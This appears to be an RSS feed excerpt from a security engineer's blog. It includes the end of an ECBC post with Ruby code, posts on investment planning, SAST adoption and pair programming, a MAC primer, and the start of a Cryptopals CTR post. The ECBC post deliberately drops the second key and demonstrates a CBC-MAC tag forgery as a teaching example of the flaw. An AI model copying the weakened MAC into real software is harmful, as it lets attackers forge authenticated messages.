MESSAGE = &amp;#39;ECBC is not as hard as I thought! I want a tag!!&amp;#39;.bytes

def aes_ecb_encrypt(message, key)
  cipher = OpenSSL::Cipher.new(&amp;#39;AES-128-ECB&amp;#39;)
  cipher.encrypt
  cipher.key = key.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0 # no padding
  result = cipher.update(message.pack(&amp;#39;C*&amp;#39;)) + cipher.final
  result.unpack(&amp;#39;C*&amp;#39;)
end

# Slightly modified from our previous implementation, now
# we are just keeping the last encryption as opposed to the
# encryption for every block.
def aes_cbc_encrypt(message, key, iv)
  blocks = message.each_slice(key.size)
  previous_encryption = iv

  blocks.each do |block|
    xor = previous_encryption.zip(block).map { |a, b| a ^ b }
    previous_encryption = aes_ecb_encrypt(xor, key)
  end

  previous_encryption
end

def ecbc_sign(key1, key2, message)
  cbc_result = aes_cbc_encrypt(message, key1, ZERO_IV)
  aes_ecb_encrypt(cbc_result, key2).pack(&amp;#39;C*&amp;#39;)
end

def ecbc_verified?(key1, key2, message, tag)
  ecbc_sign(key1, key2, message) == tag
end

tag = ecbc_sign(KEY1, KEY2, MESSAGE)
puts ecbc_verified?(KEY1, KEY2, MESSAGE, tag) # true
puts ecbc_verified?(KEY1, KEY2, MESSAGE, &amp;#39;wrong&amp;#39;) # false&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;As we can see every step of the chain requires the computation of the previous step, making the algorithm impossible to parallelize. Let’s move on and explore the reason we need a second key in ECBC.&lt;/p&gt;
&lt;h2&gt;Example of an implementation mistake&lt;/h2&gt;
&lt;p&gt;Suppose we forgot to encrypt the final result of our CBC-MAC chain using a different key, how can this be exploited in order to forge a new message?&lt;/p&gt;
&lt;p&gt;To make it clear we are changing this method:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;def ecbc_sign(key1, key2, message)
  cbc_result = aes_cbc_encrypt(message, key1, ZERO_IV)
  aes_ecb_encrypt(cbc_result, key2).pack(&amp;#39;C*&amp;#39;)
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;br /&gt; to:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;def ecbc_sign(key, message)
  aes_cbc_encrypt(message, key1, ZERO_IV)
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;h3&gt;Attack&lt;/h3&gt;
&lt;p&gt;Let’s imagine we have a message with a single block and we want to generate a tag for it.&lt;/p&gt;
&lt;p&gt;The way the tag would be generated is:&lt;/p&gt;
&lt;p&gt;Step 1: &lt;code class=&quot;language-text&quot;&gt;result = zero_iv XOR message&lt;/code&gt; &lt;br /&gt;
Step 2: &lt;code class=&quot;language-text&quot;&gt;tag = ENCRYPT(key, result)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;How can we forge a new message with &lt;em&gt;two blocks&lt;/em&gt; and the &lt;em&gt;same tag&lt;/em&gt; based on this knowledge?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Repeat the message for the first block&lt;/li&gt;
&lt;li&gt;Create a second block with value &lt;code class=&quot;language-text&quot;&gt;tag XOR message&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is all we need to generate the &lt;em&gt;same tag&lt;/em&gt; for and entirely different message! Let’s deconstruct the operations to see why:&lt;/p&gt;
&lt;p&gt;Step 1: &lt;code class=&quot;language-text&quot;&gt;result = zero_iv XOR message&lt;/code&gt; &lt;br /&gt;
Step 2: &lt;code class=&quot;language-text&quot;&gt;c0 = ENCRYPT(key, result)&lt;/code&gt; &lt;br /&gt;
Step 3: &lt;code class=&quot;language-text&quot;&gt;c0 XOR tag XOR message&lt;/code&gt; &lt;br /&gt;
Step 4: &lt;code class=&quot;language-text&quot;&gt;tag = ENCRYPT(key, c0 XOR tag XOR message)&lt;/code&gt; &lt;br /&gt;
Which really is:&lt;code class=&quot;language-text&quot;&gt;tag = ENCRYPT(key, message)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The trick here is that &lt;code class=&quot;language-text&quot;&gt;c0&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;tag&lt;/code&gt; are exactly the same, so when we XOR both they will cancel each other and only the message remains!&lt;/p&gt;
&lt;p&gt;Let’s implement this!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;ruby&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;openssl&amp;#39;

BLOCK_SIZE = 16
KEY = BLOCK_SIZE.times.map { rand(0..255) }
ZERO_IV = Array.new(BLOCK_SIZE, 0)
MESSAGE = &amp;quot;I&amp;#39;m unforgeable!&amp;quot;.bytes

def aes_ecb_encrypt(message, key)
  cipher = OpenSSL::Cipher.new(&amp;#39;AES-128-ECB&amp;#39;)
  cipher.encrypt
  cipher.key = key.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0 # no padding
  result = cipher.update(message.pack(&amp;#39;C*&amp;#39;)) + cipher.final
  result.unpack(&amp;#39;C*&amp;#39;)
end

def aes_cbc_encrypt(message, key, iv)
  blocks = message.each_slice(key.size)
  previous_encryption = iv

  blocks.each do |block|
    xor = previous_encryption.zip(block).map { |a, b| a ^ b }
    previous_encryption = aes_ecb_encrypt(xor, key)
  end

  previous_encryption
end

# This is now broken and cannot guarantee integrity anymore.
def ecbc_sign(key, message)
  aes_cbc_encrypt(message, key, ZERO_IV)
end

def ecbc_verified?(key, message, tag)
  ecbc_sign(key, message) == tag
end

tag = ecbc_sign(KEY, MESSAGE)
forged_message = MESSAGE + tag.zip(MESSAGE).map { |a, b| a ^ b }
new_tag = ecbc_sign(KEY, forged_message)

puts ecbc_verified?(KEY, MESSAGE, tag) # true
puts ecbc_verified?(KEY, forged_message, new_tag) # true
puts tag == new_tag # true&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;br /&gt;
&lt;p&gt;And that’s all we need to understand the encrypted CBC-MAC algorithm.&lt;/p&gt;
&lt;p&gt;I will leave this post mentioning that if we are able to obtain tags for &lt;em&gt;two one-block messages&lt;/em&gt; we can also generate a new message that is the concatenation of these messages. Reach out to me via email or Twitter if you would like to share or validate your solution. :)&lt;/p&gt;
&lt;p&gt;Our next post will cover &lt;code class=&quot;language-text&quot;&gt;NMAC&lt;/code&gt;, which is the basis for other interesting constructs. See you there!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Investment Planning]]></title><description><![CDATA[Reasoning about investment planning as a manager]]></description><link>https://bernardoamc.com/investment-planning/</link><guid isPermaLink="false">https://bernardoamc.com/investment-planning/</guid><pubDate>Mon, 01 Nov 2021 11:11:00 GMT</pubDate><content:encoded>&lt;p&gt;Over the past few weeks we have been on investment planning mode. You can think of it as a roadmap planning on steroids where the goal is not only to come up with a roadmap, but also detail team responsibilities, dependencies and discuss what success looks like and how it is measured.&lt;/p&gt;
&lt;p&gt;As you can imagine this is a time consuming activity, but when done right it can bring alignment to the organization as a whole. It broadly follows an agenda like the one below:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Mission and Organization&lt;/li&gt;
&lt;li&gt;Investment Planning&lt;/li&gt;
&lt;li&gt;Prioritization&lt;/li&gt;
&lt;li&gt;Presentation&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These are split in three distinct meetings &lt;em&gt;per team&lt;/em&gt; and every manager from the same product or service line should also attend. Leadership will also be present on these meetings to provide real-time feedback and ask probing questions. To make it clear, suppose your product line has &lt;em&gt;two teams&lt;/em&gt;, this would result in &lt;em&gt;eight different meetings&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Before each meeting managers are expected to have most of this work documented. Not doing this thinking beforehand decreases the usefulness of the investment planning and results in shallow planning.&lt;/p&gt;
&lt;p&gt;Let’s break down each of these topics.&lt;/p&gt;
&lt;h2&gt;Mission and Organization&lt;/h2&gt;
&lt;p&gt;Before coming into this meeting managers are expected to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Identify and list their customers and explain what each constituency wants and needs&lt;/li&gt;
&lt;li&gt;Document what their team is currently responsible for&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Customers&lt;/h3&gt;
&lt;p&gt;Identifying customers is a great way to describe what your team is responsible for and also find gaps in your organization. From the Security team point of view customers could be developers (internal and 3rd party developers), the Privacy and Partner Governance teams.&lt;/p&gt;
&lt;p&gt;This step serves as a tripwire to uncover customers that are not the core responsibility of a team. For example, in a small organization the security team could also be responsible for dealing with privacy issues, but as the organization grows the effort and knowledge required to handle this topic might warrant an entirely new team.&lt;/p&gt;
&lt;p&gt;After each constituency is identified it’s time to document what each one needs and wants. What does success look like and how do we measure it?&lt;/p&gt;
&lt;p&gt;Using our Security team as an example yet again, we could say that the developers constituency wants to deliver new products and services with the confidence that they are secure. They also want helpful advice/training and actionable issues when they exist. In order to know whether the Security team is successful we can gather feedback in the form of a survey from developers, measure whether SLOs of issues are being respected and metrics like the performance of security toolings.&lt;/p&gt;
&lt;p&gt;The understanding of what each constituency wants and needs tends to evolve every year as the team gets a better understanding of their domain and helps to define the future roadmap. This is also a great moment to prioritize which customers to serve.&lt;/p&gt;
&lt;h3&gt;What is the team responsible for&lt;/h3&gt;
&lt;p&gt;What Products and Services does your team own and provide? It doesn’t need to be only Software related, training is a great example of something that a Security team owns that is not related to Software. Listing the customers for each Product and Service is also helpful as a way to uncover hidden dependencies.&lt;/p&gt;
&lt;p&gt;Sharing this with leadership and managers across your Product or Service line makes up for interesting conversations regarding team resourcing and ownership. It’s easy to spot whether a team is overstretched and whether they are achieving their mission within the organization or not.&lt;/p&gt;
&lt;p&gt;This acts as a tripwire to understand which efforts are in a healthy state and which ones are underinvested and require more resources (support, money, people). In some cases deciding whether an effort should be dropped or not is equally important.&lt;/p&gt;
&lt;h2&gt;Investment Planning&lt;/h2&gt;
&lt;p&gt;Before coming into this meeting managers are expected to figure out:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;What the team will invest on in the following year&lt;/li&gt;
&lt;li&gt;What the team &lt;em&gt;could&lt;/em&gt; invest on given unlimited resources (support, money, people)&lt;/li&gt;
&lt;li&gt;What’s the priority among investments&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Investments&lt;/h3&gt;
&lt;p&gt;Time to detail and document what the team is planning to invest on. For each effort how do you describe it to leadership and which problems is the team trying to address with it? Think of this section as an elevator pitch for each investment.&lt;/p&gt;
&lt;p&gt;Based on the investments that were identified above we should answer a few more questions. What does success look like and how to measure it? What are the dependencies in play? How many people are needed for this investment to be feasible?&lt;/p&gt;
&lt;p&gt;If the previous meeting was responsible for raising awareness of what the team is currently owning, this one is responsible for raising awareness of what is to come. This is the perfect moment for leadership to intervene and give feedback in order to guide the roadmap.&lt;/p&gt;
&lt;p&gt;This is not the moment to plan the execution of each effort, it is better to keep the discussion at a higher level.&lt;/p&gt;
&lt;h3&gt;Potential investments&lt;/h3&gt;
&lt;p&gt;What could your team tackle with unlimited resources? This is a fun exercise where you as a manager imagine a world without constraints. Any new initiatives come to mind? Any new products or services? This is extremely useful to share with leadership the long term vision of your team and what you think they would be capable of.&lt;/p&gt;
&lt;p&gt;This hypothetical scenario can also be made possible with buy-in from the organization. If there’s an initiative that leadership really wants to make a reality your team could receive the green light to hire, seek third party providers or partner with other teams internally. If nothing, it is also a great way to think long term.&lt;/p&gt;
&lt;h2&gt;Prioritization&lt;/h2&gt;
&lt;p&gt;What are the key efforts from your team that should be fulfilled regardless of what happens? That’s what prioritization aims to answer. It makes for an interesting conversation of what you as a manager thinks that your team should prioritize versus what leadership thinks that should be prioritized. It also helps planning where new hires should be allocated and who will be responsible for their onboarding.&lt;/p&gt;
&lt;h2&gt;Presentation&lt;/h2&gt;
&lt;p&gt;After all this work with managers and leadership it is time to present the finished work to your own team. By this point in time you should have a clear picture of the roadmap and the team’s vision. Team members are usually inspired by the vision as opposed to the work, so focusing a bit more on it yields better results in terms of participation and feedback.&lt;/p&gt;
&lt;h2&gt;Recap&lt;/h2&gt;
&lt;p&gt;By the end of an investment planning your team and leadership should have a clear picture of the future roadmap and what should be prioritized. This will help to set expectations with team members and leadership and will also guide hiring efforts. It is also a great document to have at hand for new hires since it perfectly encapsulates what the team is responsible for and what they are planning to achieve for the year.&lt;/p&gt;
&lt;p&gt;How does your organization approaches this topic? I would love to have a conversation if you feel we are missing steps or to clarify any of the topics above. As always you can reach me via email or twitter, see you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Introducing static application security testing (SAST) to an organization]]></title><description><![CDATA[Is implementing SAST in your organization as simple as it looks?]]></description><link>https://bernardoamc.com/sast-considerations/</link><guid isPermaLink="false">https://bernardoamc.com/sast-considerations/</guid><pubDate>Tue, 19 Oct 2021 18:15:00 GMT</pubDate><content:encoded>&lt;p&gt;Static Application Security Testing (SAST) is a technique that relies on source code analysis to search for known vulnerable or dangerous patterns. It is particularly useful as a source of early feedback to developers when integrated to a company’s CI pipeline in order to identify issues before they make it to production.&lt;/p&gt;
&lt;p&gt;Disclaimer, this blog post expands on &lt;a href=&quot;https://twitter.com/alsmola/status/1411429895222140929&quot;&gt;this excellent thread&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/alsmola&quot;&gt;Alex Smolen&lt;/a&gt; and will focus on what a team should consider when introducing SAST at scale. It is not an attempt to describe the pros and cons of the technique or detail the domain where it is the most effective.&lt;/p&gt;
&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;Experimenting and introducing SAST tools is becoming a prevalent technique in our industry with promises that it will make our codebases more secure without too much effort, but that’s far from the truth. There are many aspects to be considered when introducing these tools to your organization if you don’t want to actually make it worse.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Developer experience
&lt;ul&gt;
&lt;li&gt;How fast is the CI step&lt;/li&gt;
&lt;li&gt;How false positives are reported or skipped&lt;/li&gt;
&lt;li&gt;Are rules actionable and teaching developers how to fix the issue&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Data analytics
&lt;ul&gt;
&lt;li&gt;Which types of vulnerabilities were uncovered&lt;/li&gt;
&lt;li&gt;How many vulnerabilities were uncovered&lt;/li&gt;
&lt;li&gt;How many duplicates are being generated&lt;/li&gt;
&lt;li&gt;How many false positives or false negatives are being generated&lt;/li&gt;
&lt;li&gt;What are the SLOs after a vulnerability is uncovered&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Process
&lt;ul&gt;
&lt;li&gt;When and how should a repository be onboarded&lt;/li&gt;
&lt;li&gt;When should a rule be added or removed&lt;/li&gt;
&lt;li&gt;How rules across tools are deduplicated&lt;/li&gt;
&lt;li&gt;How tools are introduced or dropped&lt;/li&gt;
&lt;li&gt;How to report alerts to developers&lt;/li&gt;
&lt;li&gt;How to report results to leadership&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I’m sure there are things that I forgot to mention, but the list above should give you an idea that introducing SAST to your organization is just the first step and doesn’t mean much unless you have also figured out some or all of these questions. Let’s expand on each of these categories.&lt;/p&gt;
&lt;h2&gt;Developer experience&lt;/h2&gt;
&lt;p&gt;A SAST process that prevents developers from shipping code is actually harming the business rather than helping it, so the first thing to consider when introducing it is to analyze how it will impact the developer experience. Is the new CI step impacting delivery? Are false positives forcing developers to reach out to the security team all the time before shipping? The goal is to create a process that helps developers, not one that gets in their way.&lt;/p&gt;
&lt;p&gt;The security team plays a huge part in validating dismissed alerts and figuring out whether they were false positives or not. If they were, how should the team prevent them from being triggered in the future? Giving the ability for alerts to be dismissed/reported as false positives is a key part of the process, otherwise the security team will likely be overwhelmed with reach outs from the entire organization.&lt;/p&gt;
&lt;p&gt;With all of the above said, this process is still bound to annoy a few developers in your organization. Having the buy-in from leadership and creating a culture around not compromising quality, performance and security will do wonders for the acceptance of this process. Finding developers across the organization that are interested in security can also help to raise awareness and build knowledge across the organization.&lt;/p&gt;
&lt;p&gt;Last but not least, alerts should be surfaced in a way that guides developers towards learning why that particular pattern is considered dangerous or a vulnerability and how to prevent it in the future.&lt;/p&gt;
&lt;h2&gt;Data Analytics&lt;/h2&gt;
&lt;p&gt;Is the team able to prove to leadership that the process is successful? Is it the best use of their time? Planning how to collect &lt;strong&gt;actionable data&lt;/strong&gt; from the start will play a huge role in making the entire effort successful.&lt;/p&gt;
&lt;h3&gt;Rules &amp;#x26; Alerts insights&lt;/h3&gt;
&lt;p&gt;Which rules or alerts are the most impactful? Having data will allow the team to uncover which rules are being useful to the business and which ones should be removed due to the amount of false positives or unreasonable CI time. Identifying missing rules is the next step and partnering up with the internal Bug Bounty program if one exists might be the way to close the feedback loop.&lt;/p&gt;
&lt;p&gt;The team should have metrics and set expectations for  categories of alerts and closely monitor whether these expectations are being fulfilled. Let’s see some examples:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Services running our SAST tools should see a 30% decrease of bug bounty reports&lt;/li&gt;
&lt;li&gt;Services running our SAST tools should see a 20% increase in fixable security issues&lt;/li&gt;
&lt;li&gt;Services running our SAST tools should have at maximum 25% of alerts dismissed&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;These metrics and expectations will dictate areas of improvement for your process.&lt;/p&gt;
&lt;h3&gt;Tool insights&lt;/h3&gt;
&lt;p&gt;Which tools are being useful and does the current pipeline have any gaps? How long does each tool take in the CI/CD pipeline? Is the return of investment (time invested versus findings) worth the introduction and maintenance of tool?&lt;/p&gt;
&lt;p&gt;Having a clear picture of the current code coverage per language or framework in a tool is an important step to guide the future roadmap.&lt;/p&gt;
&lt;h3&gt;Management insights&lt;/h3&gt;
&lt;p&gt;How long does it take for an issue to be actioned? Setting SLOs for findings and being able to track whether they are being actioned on time is an important part of the process. Being able to track when an issue was opened or closed and having SLOs for different kinds of severities is a great way to keep the organization accountable.&lt;/p&gt;
&lt;h2&gt;Process&lt;/h2&gt;
&lt;p&gt;Each part of the process should be documented; this will help with its maintainability and allow it to scale up when the time comes. An interesting side effect of having the entire process documented and backed up by data is that it becomes apparent when a particular step is underperforming or becoming a bottleneck. These areas are prime targets for early automation.&lt;/p&gt;
&lt;p&gt;Having a clear set of metrics to report to leadership with a predefined cadency is crucial to keep stakeholders in the loop; it is also a good way to seek feedback and guide future iterations of the process.&lt;/p&gt;
&lt;h2&gt;Recap&lt;/h2&gt;
&lt;p&gt;Identifying and solving security issues is the goal of a proactive security team. Introducing new tools to the process is just a consequence, not the end goal.&lt;/p&gt;
&lt;p&gt;I hope this post didn’t discourage you from introducing SAST to your organization. It is a great technique that can make your organization more secure and resilient when implemented correctly. If you have comments, suggestions or simply disagree with this approach I would love to have a conversation about it. As always please reach it via email or twitter, see you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pair Programming 101]]></title><description><![CDATA[How to implement productive pair programming sessions?]]></description><link>https://bernardoamc.com/pair-programming-101/</link><guid isPermaLink="false">https://bernardoamc.com/pair-programming-101/</guid><pubDate>Sat, 25 Sep 2021 10:11:00 GMT</pubDate><content:encoded>&lt;p&gt;Pair Programming is easily one of my favourite activities on my day to day job, but getting them right is not always easy. The idea that it’s enough to set up those sessions and everything will flow permeates our industry, but things rarely go smoothly without prior planning. This post is an effort to explain the way I usually approach pair programming and I hope you will find one or two things that can help you in your future sessions.&lt;/p&gt;
&lt;p&gt;Before we start it’s worth mentioning that as people get to know and trust each other it becomes easier to have impromptu pair programming sessions.&lt;/p&gt;
&lt;h2&gt;What is the goal of a pair programming session?&lt;/h2&gt;
&lt;p&gt;Let’s investigate which goals are best suited for this workflow. This list is non-exhaustive, but those three points have been my main reasons to pair program for some years now.&lt;/p&gt;
&lt;h4&gt;Sharing knowledge&lt;/h4&gt;
&lt;p&gt;Pair programming is a great tool to onboard new peers into a codebase, project or even a single task. The idea of being able to ask questions while diving into critical parts of the code from someone with higher context makes this goal a particularly good fit for pair programming.&lt;/p&gt;
&lt;p&gt;It’s also an interesting tool to pick up tips and tricks from other developers on your team. From how to better navigate code to IDE shortcuts and different workflows.&lt;/p&gt;
&lt;h4&gt;Brainstorming&lt;/h4&gt;
&lt;p&gt;It’s very common for developers to get stuck trying to come up with an implementation that they consider solid. Pair programming gives them the opportunity to brainstorm with different developers and gather insights that might unlock a great solution to the problem at hand.&lt;/p&gt;
&lt;h4&gt;Time constrained tasks&lt;/h4&gt;
&lt;p&gt;Bugs, security issues, on-call alerts, the list goes on and on. The common characteristic of these items is that they need to be tackled &lt;em&gt;fast&lt;/em&gt;. Pair programming as a way to validate those quick fixes works really well to prevent developers from rushing with a non ideal solution. It also helps calm people down as they don’t feel alone in their moment of crisis.&lt;/p&gt;
&lt;h2&gt;What pair programming is not?&lt;/h2&gt;
&lt;p&gt;It’s not a way to speed up development. Once both parties agreed upon a particular solution it’s usually easier for someone to own the task and finish it up. Reviewing the pull request will become much easier since at least one of the reviewers will already have plenty of context on the subject. Pair programming shortens the feedback loop in this case.&lt;/p&gt;
&lt;h2&gt;Requirements for a productive session&lt;/h2&gt;
&lt;p&gt;Below I will list the critical requirements for a productive session. They might work slightly different depending on the goal of the session, but most of the time they will prove useful.&lt;/p&gt;
&lt;h4&gt;Create an agenda&lt;/h4&gt;
&lt;p&gt;Calling someone to a pair programming session without sharing context is a recipe for unproductive sessions. One of two things might happen:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;You will need to spend time out of the session sharing context before you can even begin making use of it.&lt;/li&gt;
&lt;li&gt;You will likely end up with a subpar solution.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The second point is especially true when one of the parties is considered more senior than the other. What happens is that the senior “solution” will likely be followed without both parties bouncing ideas off each other.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example of an agenda&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Hey, I have this task and I would love to pair program, here are the requirements:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read a CSV with repositories&lt;/li&gt;
&lt;li&gt;Mass update database tables/rows based on the CSV criteria&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This is the issue we are trying to tackle: &lt;em&gt;issue link&lt;/em&gt;
You can also read more about it: &lt;em&gt;here&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Let me know when we can meet to pair program.&lt;/p&gt;
&lt;h4&gt;Evaluate solutions&lt;/h4&gt;
&lt;p&gt;With the agenda in place hopefully both parties have the required context to discuss the task at hand. This new step takes part in the beginning of a session and its goal is to share potential implementation ideas and discuss until these ideas converge into a solution that make both parties satisfied.&lt;/p&gt;
&lt;p&gt;It’s also a great moment to ask questions like “How did you come up with this implementation?” or “Why did you pick X over Y?“. Mentoring becomes much easier once you have a bounded task that both parties fully understand and had time to think about.&lt;/p&gt;
&lt;h4&gt;Establish ground rules&lt;/h4&gt;
&lt;p&gt;It’s draft implementation time! But before we dive right in let’s establish some ground rules to make our session more productive for both of us.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Who is driving?
&lt;ul&gt;
&lt;li&gt;Should we switch? When?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If I notice a typo, should I speak up right away?
&lt;ul&gt;
&lt;li&gt;Should I wait till we finish the line/method/class?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Should we be concerned with variables/methods/classes naming right away?&lt;/li&gt;
&lt;li&gt;How long should our sessions last?
&lt;ul&gt;
&lt;li&gt;Everyone has a different limit to how long they can focus without feeling drained.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It seems simple, but answering these questions can make your sessions less stressful or tiring.&lt;/p&gt;
&lt;h2&gt;Departing thoughts&lt;/h2&gt;
&lt;p&gt;Ultimately pair programming shouldn’t be stressful. Whether you are a junior or senior developer you shouldn’t have the feeling that you are being judged. Having a conversation about ground rules will pay off in the long run if you currently have this feeling in your sessions.&lt;/p&gt;
&lt;p&gt;Again, this is not an exhaustive list, if you have other steps/criteria that works for you I would love to chat! Reach out to me via email or Twitter and we can figure out something. See you next time!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Message Authentication Code (MAC)]]></title><description><![CDATA[What is a Message Authentication Code and what is it used for?]]></description><link>https://bernardoamc.com/message-authentication-code/</link><guid isPermaLink="false">https://bernardoamc.com/message-authentication-code/</guid><pubDate>Sat, 18 Sep 2021 11:11:00 GMT</pubDate><content:encoded>&lt;p&gt;After our long journey learning about and attacking common block ciphers it’s time for a new segment, this time we will dive into what is a Message Authentication Code (MAC) and common implementations. Maybe we will even dive into some common implementation mistakes, why not?!&lt;/p&gt;
&lt;p&gt;This series will be divided into the following posts:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Message Authentication Code (MAC)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Encrypted CBC-MAC (ECBC)&lt;/li&gt;
&lt;li&gt;NMAC&lt;/li&gt;
&lt;li&gt;PMAC&lt;/li&gt;
&lt;li&gt;HMAC&lt;/li&gt;
&lt;li&gt;Poly1305-AES&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;So what is a Message Authentication Code (MAC)?&lt;/h2&gt;
&lt;p&gt;It is a way to provide message &lt;em&gt;integrity&lt;/em&gt; without confidentiality, meaning an attacker can see a message but cannot modify it.&lt;/p&gt;
&lt;p&gt;It’s split into two functions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A function that &lt;em&gt;signs&lt;/em&gt; a message
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;S(key, message) -&gt; tag&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;A function that &lt;em&gt;verifies&lt;/em&gt; a message
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;V(key, message, tag) -&gt; boolean&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The verification function will compute a new tag and compare it with the provided one, if they are the same it will return &lt;code class=&quot;language-text&quot;&gt;true&lt;/code&gt;, otherwise &lt;code class=&quot;language-text&quot;&gt;false&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Notice the &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt; argument being passed to both functions. In order to enforce integrity both parties are required to have a shared secret key. It’s worth repeating, without a shared secret key a MAC cannot guarantee the integrity of a message.&lt;/p&gt;
&lt;p&gt;More formally, a MAC system is considered secure if an attacker who is given the tag on arbitrary messages of his choice cannot construct a tag for some new message.&lt;/p&gt;
&lt;h2&gt;Examples&lt;/h2&gt;
&lt;p&gt;Far from being an exhaustive list, the two examples below are just there to demonstrate that technologies that are used on a daily basis also employ MACs to guarantee integrity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Webhooks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Webhooks are usually sent with an associated MAC in order to verify authenticity and consistency of a message, as in, we know where it is coming from and that it haven’t been tampered with.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;JSON Web Token (JWT)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;JWTs can be signed with HMAC, which is a type of MAC in order to verify its integrity. These JWTs are usually called &lt;em&gt;signed tokens&lt;/em&gt; and are &lt;em&gt;not secret&lt;/em&gt;. HMAC is not the only algorithm used by JWT that can provide integrity though, RSA or ECDSA are algorithms that can provide &lt;em&gt;secrecy and integrity&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Types of MAC&lt;/h2&gt;
&lt;p&gt;MACs are usually constructed in one of the following ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Through block cipher algorithms
&lt;ul&gt;
&lt;li&gt;CBC-MAC (ECBC), CMAC, PMAC, …&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Through cryptographic hash functions
&lt;ul&gt;
&lt;li&gt;HMAC being the most well known&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Universal hashing
&lt;ul&gt;
&lt;li&gt;UMAC-VMAC, Poly1305-AES, …&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That’s all we are covering for now. Throughout future posts we will investigate some of these algorithms and explore common flaws in implementation that could be exploited by attackers.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Breaking CTR with fixed nonce]]></title><description><![CDATA[In this post we will investigate how multiple ciphertexts encrypted with a fixed nonce in CTR mode can be attacked.]]></description><link>https://bernardoamc.com/ctr-fixed-nonce/</link><guid isPermaLink="false">https://bernardoamc.com/ctr-fixed-nonce/</guid><pubDate>Sun, 05 Sep 2021 12:15:00 GMT</pubDate><content:encoded>&lt;p&gt;In this post we will investigate the “break fixed-nonce CTR” exercise from &lt;a href=&quot;https://cryptopals.com/sets/3/challenges/20&quot;&gt;Cryptopals&lt;/a&gt;. It’s helpful to read the problem statement before reading this blog post and I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject. We also have a &lt;a href=&quot;/ctr-mode-introduction&quot;&gt;previous post&lt;/a&gt; explaining how &lt;code class=&quot;language-text&quot;&gt;CTR&lt;/code&gt; works.&lt;/p&gt;
&lt;p&gt;In this exercise we are presented with 40 CTR-encrypted ciphertexts and we know that each of them were encrypted under the same &lt;code class=&quot;language-text&quot;&gt;nonce&lt;/code&gt;.&lt;/p&gt;
